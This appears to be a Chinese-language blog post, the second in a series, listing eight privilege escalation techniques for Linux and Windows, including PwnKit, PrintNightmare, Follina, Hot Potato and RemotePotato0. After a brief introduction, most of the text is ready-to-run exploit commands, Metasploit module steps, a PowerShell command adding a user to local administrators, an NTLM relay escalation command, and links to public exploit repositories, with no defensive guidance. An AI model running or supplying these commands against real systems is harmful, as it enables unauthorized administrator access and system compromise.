百种提权及手段一览系列第2集

特权升级的危险是显而易见的。通过提升权限，攻击者可以绕过网络安全措施，从而损害数据完整性、机密性和系统可用性。对于组织而言，这可能会导致数据泄露、系统停机以及潜在的法律和声誉后果。识别权限升级的迹象并部署预防性网络安全措施对于保护数字资产并确保只有授权人员才能访问关键系统功能至关重要。

主要有两种类型：垂直升级和水平升级。在垂直升级中，具有较低级别权限的攻击者将其权限提升到较高级别用户（通常是管理员）的权限。这使得他们能够访问受限区域、修改系统配置，甚至部署恶意软件。另一方面，横向升级涉及访问属于对等用户的资源或功能，并利用类似特权帐户的权限。

本期整理了8种热门提权方式，请查收哟：
1.PwnKit
域：No
Local Admin: Yes
操作系统: Linux
类型: 0/1 Exploit
方法:
./cve-2021-4034
Whoami;id
批注：https://github.com/berdav/CVE-2021-4034

2.ms14_058
域：No
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
msf > use exploit/windows/local/ms14_058_track_popup_menu
msf exploit(ms14_058_track_popup_menu) > set TARGET < target-id >
msf exploit(ms14_058_track_popup_menu) > exploit

3.Hot Potato
域：No
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
命令提示符下: powershell.exe -nop -ep bypass
在Power Shell提示符类型输入: Import-Module C:\Users\User\Desktop\Tools\Tater\Tater.ps1
在Power Shell提示符类型输入: Invoke-Tater -Trigger 1 -Command “net localgroup administrators user /add”
要确认攻击是否成功，请在 Power Shell 提示符中键入: net localgroup administrators
批注：https://github.com/Kevin-Robertson/Tater

4.Intel SYSRET
域：No
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
execute -H -f sysret.exe -a “-pid [pid]”
批注：https://github.com/jajp777/sysret
release版本：https://github.com/jajp777/sysret/tree/master/x64/Release
5.PrintNightmare
域：Yes
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
https://github.com/outflanknl/PrintNightmare
PrintNightmare 10.10.10.10 exp.dll

6.Folina
域名: Y/N
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
https://github.com/JohnHammond/msdt-follina
python3 follina.py -c “notepad”

7.ALPC
域名: Y/N
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
https://github.com/riparino/Task_Scheduler_ALPC
8.RemotePotato0
域名: Y/N
Local Admin: Yes
操作系统: Windows
类型: 0/1 Exploit
方法:
sudo ntlmrelayx.py -t ldap://10.0.0.10 –no-wcf-server –escalate-user normal_user
.\RemotePotato0.exe -m 0 -r 10.0.0.20 -x 10.0.0.20 -p 9999 -s 1
批注：
ntlmrelayx.py只找到个很相似的：https://github.com/LuemmelSec/ntlmrelayx.py_to_exe
remotepotato：https://github.com/antonioCoco/RemotePotato0/releases/tag/1.2